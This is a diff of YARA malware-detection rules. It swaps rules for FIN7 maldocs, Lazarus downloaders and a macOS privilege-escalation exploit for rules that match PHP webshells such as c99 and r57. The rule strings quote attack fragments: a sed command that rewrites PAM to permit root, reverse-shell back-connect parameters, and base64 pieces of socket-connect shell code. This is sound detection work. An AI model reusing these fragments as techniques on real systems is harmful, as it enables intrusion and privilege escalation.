-		uint16(0)==0x5a4d and filesize <1000KB and all of ($s*) and $co1 at 0x015D
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_FIN7_Msdoc_Sep21_1 : FILE
+rule SIGNATURE_BASE__W_Php_Php_C99Madshell_V2_1_Php_Php_Wacking_Php_Php_C99Shell_V1_0_Php_Php_C99Php_Specialshell_99_Php_Php
 {
 	meta:
-		description = "Detects MalDocs used by FIN7 group"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4fbde087-ec1e-5614-af1e-f342b1766fa2"
-		date = "2021-09-07"
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.anomali.com/blog/cybercrime-group-fin7-using-windows-11-alpha-themed-docs-to-drop-javascript-backdoor"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fin7.yar#L277-L301"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ffc91cdad91b8ab24840c6ef1a6c39aad081d986c21a88b3f2ea3ec1bcd3b52b"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5089-L5106"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b133cf947476a1c94ed90b5cd3757ca8aa429be4284d75664625896d9cfa687f"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "d60b6a8310373c9b84e6760c24185535"
+		tags = ""
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "d8ae5819a0a2349ec552cbcf3a62c975"
+		hash4 = "9e9ae0332ada9c3797d6cee92c2ede62"
+		hash5 = "09609851caa129e40b0d56e90dfc476c"
 
 	strings:
-		$xc1 = { 00 4A 00 6F 00 68 00 6E 00 0B 00 57 00 31 00 30
-               00 50 00 72 00 6F 00 4F 00 66 00 66 00 31 00 36 }
-		$s1 = "word_data.bin" ascii fullword
-		$s2 = "V:\\DOC\\For_JS" ascii
-		$s3 = "HomeCompany" ascii
-		$s4 = "W10ProOff16" ascii
+		$s0 = "$sess_data[\"cut\"] = array(); c99_s"
+		$s3 = "if ((!eregi(\"http://\",$uploadurl)) and (!eregi(\"https://\",$uploadurl))"
 
 	condition:
-		uint16(0)==0xcfd0 and (1 of ($x*) or 3 of them )
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_OBFUSC_JS_Sept21_2 : FILE
+rule SIGNATURE_BASE__W_Php_Php_Wacking_Php_Php_Specialshell_99_Php_Php
 {
 	meta:
-		description = "Detects JavaScript obfuscation as used in MalDocs by FIN7 group"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5ab9cd60-077c-5066-bd2f-8da261aae1e0"
-		date = "2021-09-07"
+		description = "Semi-Auto-generated  - from files w.php.php.txt, wacking.php.php.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "c01ad0e5-1aff-5128-9d0c-5d0967532a4b"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.anomali.com/blog/cybercrime-group-fin7-using-windows-11-alpha-themed-docs-to-drop-javascript-backdoor"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fin7.yar#L303-L323"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "235ff8fe5c033fd90d77ecf9ce80b59be7bf6ae5a2863a1c9365d8b125a7ff3f"
-		score = 65
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5107-L5121"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7bdaebfb093b58a2fd33b4bbeea8465d0f724383b4855eb521a3e339ee153781"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash2 = "09609851caa129e40b0d56e90dfc476c"
 
 	strings:
-		$s1 = "=new RegExp(String.fromCharCode(" ascii
-		$s2 = ".charCodeAt(" ascii
-		$s3 = ".substr(0, " ascii
-		$s4 = "var shell = new ActiveXObject(" ascii
-		$s5 = "= new Date().getUTCMilliseconds();" ascii
-		$s6 = ".deleteFile(WScript.ScriptFullName);" ascii
+		$s0 = "\"<td>&nbsp;<a href=\\\"\".$sql_surl.\"sql_act=query&sql_query=\".ur"
+		$s2 = "c99sh_sqlquery"
 
 	condition:
-		filesize <6000KB and (4 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_HTA_With_Wscript_Shell
+rule SIGNATURE_BASE__W_Php_Php_C99Madshell_V2_1_Php_Php_Wacking_Php_Php_Sses_Php_Php_Specialshell_99_Php_Php
 {
 	meta:
-		description = "Detects WScript Shell in HTA"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2faf74b1-c19c-53f0-ad08-be9caf5640bc"
-		date = "2017-06-21"
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "ee1fd555-f1bc-59a5-998c-f6098de8623e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/msftmmpc/status/877396932758560768"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_hta_anomalies.yar#L11-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7ce2728fbd3023a6b96291cdb63f30dc9b71e5fc506f8b00ad97e3062b103478"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5122-L5138"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6dbd40e19d4d5753dbd1f7e627bccc08a60430de8138a923f13e836d19dde65c"
+		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ca7b653cf41e980c44311b2cd701ed666f8c1dbc"
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "3ca5886cd54d495dc95793579611f59a"
+		hash2 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash3 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
+		hash4 = "09609851caa129e40b0d56e90dfc476c"
 
 	strings:
-		$s1 = "<hta:application windowstate=\"minimize\"/>"
-		$s2 = "<script>var b=new ActiveXObject(\"WScript.Shell\");" ascii
+		$s0 = "else {$act = \"f\"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPA"
+		$s3 = "else {echo \"<b>File \\\"\".$sql_getfile.\"\\\":</b><br>\".nl2br(htmlspec"
 
 	condition:
-		all of them
+		1 of them
 }
-rule SIGNATURE_BASE_HTA_Embedded
+rule SIGNATURE_BASE__R577_Php_Php_Sniper_SA_Shell_Php_R57_Php_Php_Spy_Php_Php_S_Php_Php
 {
 	meta:
-		description = "Detects an embedded HTA file"
-		author = "Florian Roth (Nextron Systems)"
-		id = "04d4c718-9dd6-5528-8712-61c9f2a16139"
-		date = "2017-06-21"
+		description = "Semi-Auto-generated "
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "44b53124-c8b6-545b-819f-77fd65e5d61b"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/msftmmpc/status/877396932758560768"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_hta_anomalies.yar#L28-L42"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "843f0ad5e39e5492db8ff7372f6d2038e7dbb7823ec9b33f863ab891a108b1ec"
-		score = 50
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5139-L5155"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "834c33059e08e8075a8d3f69187b74f3b53afabfc37ae1f13a2f579f0948a363"
+		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ca7b653cf41e980c44311b2cd701ed666f8c1dbc"
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "911195a9b7c010f61b66439d9048f400"
+		hash2 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		hash3 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash4 = "817671e1bdc85e04cc3440bbd9288800"
 
 	strings:
-		$s1 = "<hta:application windowstate=\"minimize\"/>"
+		$s0 = "echo sr(15,\"<b>\".$lang[$language.'_text"
+		$s1 = ".$arrow.\"</b>\",in('text','"
 
 	condition:
-		$s1 and not $s1 in (0..50000)
+		2 of them
 }
-rule SIGNATURE_BASE_EXPL_HKTL_Macos_Switcharoo_CVE_2022_46689_Dec22 : CVE_2022_46689 FILE
+rule SIGNATURE_BASE__R577_Php_Php_Sniper_SA_Shell_Php_R57_Php_Php
 {
 	meta:
-		description = "Detects POCs that exploit privilege escalation vulnerability CVE-2022-46689 on macOS"
-		author = "Florian Roth (Nextron Systems)"
-		id = "25c551f7-48ae-5e71-b86e-68fb440262e5"
-		date = "2022-12-19"
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, SnIpEr_SA Shell.php.txt, r57.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "44b53124-c8b6-545b-819f-77fd65e5d61b"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_macos_switcharoo_dec22.yar#L2-L40"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c2cbe12a01a38db522c49143c5168d3519ef974b4e6157cb251aa66707c69d78"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5156-L5171"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f97846fdaac949185b4ce6a25cc276f4ae4243d891acb18c3a3ce0c18b540976"
+		score = 75
 		quality = 85
-		tags = "CVE-2022-46689, FILE"
-		hash1 = "64acd79a37b6f8443250dd33e95bd933ee39fc6d4f35ba6a987dae878d017386"
-		hash2 = "6c2ace75000de8a7e8786f28b1b41eed72816991a0961475c6800753bfe9278c"
-		hash3 = "6ce080b236ea3aa3b4c992d12af99445ab800abc709c6abbef852a9f0cf219b6"
-		hash4 = "83cc4d72686aedf5218f07e60e759b4849b368975b70352dbba6fac4e8cde72b"
-		hash5 = "a7b7fcfd609ff653d32c133417c0d3ffd9f581fb6de05ddbdead4d36cb6e3cc2"
-		hash6 = "b2a97edb0ddc30ecc1a0b0c0739820bbef787394b44ab997393475de2ebf7b60"
-		hash7 = "c7a64c6da5cf5046ae5c683d0264a32027110a2736b4c1b0df294e29a061a865"
-		hash8 = "d517cde0d45e6930336538c89b310d5d540a66c921bf6f6f9b952e721b2f6a11"
-		hash9 = "d53a559ea9131fe42eacf51431da3adde5a8fd5c2f3198f0d5451ef62ed33888"
+		tags = ""
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "911195a9b7c010f61b66439d9048f400"
+		hash2 = "eddf7a8fde1e50a7f2a817ef7cece24f"
 
 	strings:
-		$x1 = "vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d" ascii fullword
-		$x2 = "Execting: %s (posix_spawn returned: %d)" ascii fullword
-		$x3 = "/usr/bin/sed -e \"s/rootok/permit/g\" /etc" ascii fullword
-		$x4 = "vm_unaligned_copy_switch_race" ascii fullword
-		$s1 = "RO mapping was modified" ascii fullword
-		$s2 = "Ran %d times in %ld seconds with no failure" ascii fullword
-		$opa1 = { 4c 89 ee 31 c9 41 b8 00 40 00 00 6a 01 41 5c 41 54 6a 03 58 }
-		$opa2 = { e8 ?? 01 00 00 48 8b 05 ?? 0? 00 00 8b 38 48 8b 13 44 8b 4b 14 48 83 ec 08 4c 89 ee 31 c9 }
-		$opa3 = { 48 89 45 c8 48 8d 43 08 48 89 45 d0 4c 8b 7d c8 4c 8b 6d d0 6a 64 41 5e 80 7b 60 00 }
-		$opb1 = { 55 48 89 e5 48 83 ec 60 48 8b 05 ?1 06 00 00 48 8b 00 48 89 45 f8 0f 28 05 ?b 07 00 00 48 8d 75 d0 }
+		$s0 = "'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash'," fullword
+		$s1 = "$name='ec371748dc2da624b35a4f8f685dd122'"
+		$s2 = "rst.void.ru"
 
 	condition:
-		( filesize <400KB and 1 of ($x*)) or (( uint16(0)==0xfacf or ( uint16(0)==0xfeca or uint16(0)==0xfacf or uint32(0)==0xbebafeca)) and filesize <400KB and 2 of them )
+		3 of them
 }
-rule SIGNATURE_BASE_EXPL_Macos_Switcharoo_Indicator_Dec22 : CVE_2022_46689 FILE
+rule SIGNATURE_BASE__R577_Php_Php_R57_Shell_Php_Php_Spy_Php_Php_S_Php_Php
 {
 	meta:
-		description = "Detects indicators found after exploitations of CVE-2022-46689"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d5d9559a-c19c-5ddc-9d72-701986a9d7ac"
-		date = "2022-12-19"
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, r57 Shell.php.php.txt, spy.php.php.txt, s.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "7a31b923-15e5-5af4-9ad0-8d261fedf7c4"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/zhuowei/MacDirtyCowDemo"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/expl_macos_switcharoo_dec22.yar#L42-L54"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9b9ea134fc4b3a7b15ae585ced2e12cbe1defc54bc6175282d6b7a2a0b65abd1"
-		score = 65
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5172-L5188"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "764a374c1e4acec8978db1e7e7e326c4fa95c6f92e1ca5a6d7f892bb05ecd289"
+		score = 75
 		quality = 85
-		tags = "CVE-2022-46689, FILE"
+		tags = ""
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "8023394542cddf8aee5dec6072ed02b5"
+		hash2 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash3 = "817671e1bdc85e04cc3440bbd9288800"
 
 	strings:
-		$x1 = "auth       sufficient     pam_permit.so" ascii
+		$s0 = "echo ws(2).$lb.\" <a"
+		$s1 = "$sql = \"LOAD DATA INFILE \\\"\".$_POST['test3_file']"
+		$s3 = "if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?(\"dir\"):(\"l"
 
 	condition:
-		filesize <1KB and $x1
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Lazarus_Aug18_Downloader_1 : FILE
+rule SIGNATURE_BASE__Wacking_Php_Php_1_Specialshell_99_Php_Php_C100_Php
 {
 	meta:
-		description = "Detects Lazarus Group Malware Downloadery"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f536db7b-b645-522f-b750-6431878d2e31"
-		date = "2018-08-24"
+		description = "Semi-Auto-generated  - from files wacking.php.php.txt, 1.txt, SpecialShell_99.php.php.txt, c100.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "3dac5550-598a-5a0f-95c3-2e0162a686ee"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/operation-applejeus/87553/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_applejeus.yar#L13-L37"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f6bdaa8aa76da3e679094ae9759a67b5db33d0445f7204ff13e400fa6db60386"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5189-L5205"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0d32fc00ba2602a1140dc9030894bb9524c55b95c445a08f2bf6f8fc60108e64"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d555dcb6da4a6b87e256ef75c0150780b8a343c4a1e09935b0647f01d974d94d"
-		hash2 = "bdff852398f174e9eef1db1c2d3fefdda25fe0ea90a40a2e06e51b5c0ebd69eb"
-		hash3 = "e2199fc4e4b31f7e4c61f6d9038577633ed6ad787718ed7c39b36f316f38befd"
+		tags = ""
+		super_rule = 1
+		hash0 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash1 = "44542e5c3e9790815c49d5f9beffbbf2"
+		hash2 = "09609851caa129e40b0d56e90dfc476c"
+		hash3 = "38fd7e45f9c11a37463c3ded1c76af4c"
 
 	strings:
-		$x1 = "H:\\DEV\\TManager\\" ascii
-		$x2 = "\\Release\\dloader.pdb" ascii
-		$x3 = "Z:\\jeus\\"
-		$x4 = "\\Debug\\dloader.pdb" ascii
-		$x5 = "Moz&Wie;#t/6T!2yW29ab@ad%Df324V$Yd" fullword ascii
-		$s1 = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" fullword ascii
-		$s2 = "Error protecting memory page" fullword ascii
+		$s0 = "if(eregi(\"./shbd $por\",$scan))"
+		$s1 = "$_POST['backconnectip']"
+		$s2 = "$_POST['backcconnmsg']"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and ((1 of ($x*) or 2 of them ))
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Lazarus_Aug18_1 : FILE
+rule SIGNATURE_BASE__R577_Php_Php_R57_Php_Php_R57_Shell_Php_Php_Spy_Php_Php_S_Php_Php
 {
 	meta:
-		description = "Detects Lazarus Group Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fda4970a-2787-5e9c-9944-a6222145f4a7"
-		date = "2018-08-24"
+		description = "Semi-Auto-generated  - from files r577.php.php.txt, r57.php.php.txt, r57 Shell.php.php.txt, spy.php.php.txt, s.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "093892f6-ff53-5bd1-b7b2-fea21a9258aa"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/operation-applejeus/87553/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_applejeus.yar#L39-L60"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "efd43e2d84ba964e7fc7e6c03eaba3dd5181c9cbe51b4a06a7a723dca95fab17"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5206-L5223"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "afbd2103b0c953d6aec070ba450f43e567560bc9743423a5731cd4d6e5e36bb6"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ef400d73c6920ac811af401259e376458b498eb0084631386136747dfc3dcfa8"
-		hash2 = "1b8d3e69fc214cb7a08bef3c00124717f4b4d7fd6be65f2829e9fd337fc7c03c"
+		tags = ""
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		hash2 = "8023394542cddf8aee5dec6072ed02b5"
+		hash3 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash4 = "817671e1bdc85e04cc3440bbd9288800"
 
 	strings:
-		$s1 = "mws2_32.dll" fullword wide
-		$s2 = "%s.bat" fullword wide
-		$s3 = "%s%s%s \"%s > %s 2>&1\"" fullword wide
-		$s4 = "Microsoft Corporation. All rights reserved." fullword wide
-		$s5 = "ping 127.0.0.1 -n 3" fullword wide
+		$s1 = "if(rmdir($_POST['mk_name']))"
+		$s2 = "$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td>"
+		$s3 = "if(unlink($_POST['mk_name'])) echo \"<table width=100% cellpadding=0 cell"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="3af996e4f960108533e69b9033503f40" or 4 of them )
+		2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Lazarus_Aug18_2 : FILE
+rule SIGNATURE_BASE__W_Php_Php_Wacking_Php_Php_Sses_Php_Php_Specialshell_99_Php_Php
 {
 	meta:
-		description = "Detects Lazarus Group Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3c77d603-6443-5e78-8a8a-a89112619aa6"
-		date = "2018-08-24"
+		description = "Semi-Auto-generated  - from files w.php.php.txt, wacking.php.php.txt, SsEs.php.php.txt, SpecialShell_99.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "81480945-b684-50b6-9431-4ab7a786b214"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/operation-applejeus/87553/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_applejeus.yar#L62-L82"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "75d52ad829383392d9eb20a8308278d073d16f7624e60010356534bdc6acc81f"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5224-L5240"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9bbcb687c83c01ad52e8978a60e604a74f10c33a63af3b91d0286b30dea42890"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "8ae766795cda6336fd5cad9e89199ea2a1939a35e03eb0e54c503b1029d870c4"
-		hash2 = "d3ef262bae0beb5d35841d131b3f89a9b71a941a86dab1913bda72b935744d2e"
+		tags = ""
+		super_rule = 1
+		hash0 = "38a3f9f2aa47c2e940695f3dba6a7bb2"
+		hash1 = "9c5bb5e3a46ec28039e8986324e42792"
+		hash2 = "6cd50a14ea0da0df6a246a60c8f6f9c9"
+		hash3 = "09609851caa129e40b0d56e90dfc476c"
 
 	strings:
-		$s1 = "vAdvapi32.dll" fullword wide
-		$s2 = "lws2_32.dll" fullword wide
-		$s3 = "%s %s > \"%s\" 2>&1" fullword wide
-		$s4 = "Not Service" fullword wide
-		$s5 = "ping 127.0.0.1 -n 3" fullword wide
+		$s0 = "\"ext_avi\"=>array(\"ext_avi\",\"ext_mov\",\"ext_mvi"
+		$s1 = "echo \"<b>Execute file:</b><form action=\\\"\".$surl.\"\\\" method=POST><inpu"
+		$s2 = "\"ext_htaccess\"=>array(\"ext_htaccess\",\"ext_htpasswd"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and (4 of them )
+		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_APT_Fallchill_RC4_Keys : FILE
+rule SIGNATURE_BASE_Multiple_Php_Webshells
 {
 	meta:
-		description = "Detects FallChill RC4 keys"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ead7d84c-91aa-58b0-af3b-1211b0bde864"
-		date = "2018-08-21"
+		description = "Semi-Auto-generated  - from files multiple_php_webshells"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/operation-applejeus/87553/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_lazarus_applejeus.yar#L84-L100"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "59861618dba256996d7bbcd94a6efccdb64589fc75086bfe7d980fa51761ef97"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L5242-L5263"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d55c96febd64107273001edadbda6d0a1b4b00e35fb41b46561b49fca6a9bd1b"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = ""
+		super_rule = 1
+		hash0 = "0714f80f35c1fddef1f8938b8d42a4c8"
+		hash1 = "911195a9b7c010f61b66439d9048f400"
+		hash2 = "be0f67f3e995517d18859ed57b4b4389"
+		hash3 = "eddf7a8fde1e50a7f2a817ef7cece24f"
+		hash4 = "8023394542cddf8aee5dec6072ed02b5"
+		hash5 = "eed14de3907c9aa2550d95550d1a2d5f"
+		hash6 = "817671e1bdc85e04cc3440bbd9288800"
+		hash7 = "7101fe72421402029e2629f3aaed6de7"
+		hash8 = "f618f41f7ebeb5e5076986a66593afd1"
 
 	strings:
-		$cod0 = { c7 ?? ?? da e1 61 ff
-                c7 ?? ?? 0c 27 95 87
-                c7 ?? ?? 17 57 a4 d6
-                c7 ?? ?? ea e3 82 2b }
+		$s0 = "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuI"
+		$s2 = "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0"
+		$s4 = "A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg"
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		2 of them
 }
-rule SIGNATURE_BASE_Winpayloads_Powershell : FILE
+rule SIGNATURE_BASE__W_Php_Php_C99Madshell_V2_1_Php_Php_Wacking_Php_Php
 {
 	meta:
-		description = "Detects WinPayloads PowerShell Payload"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8b6b8823-4656-5b0d-9a1e-84045287f5bf"
-		date = "2017-07-11"
+		description = "Semi-Auto-generated  - from files w.php.php.txt, c99madshell_v2.1.php.php.txt, wacking.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "ee1fd555-f1bc-59a5-998c-f6098de8623e"
+		date = "2023-12-05"
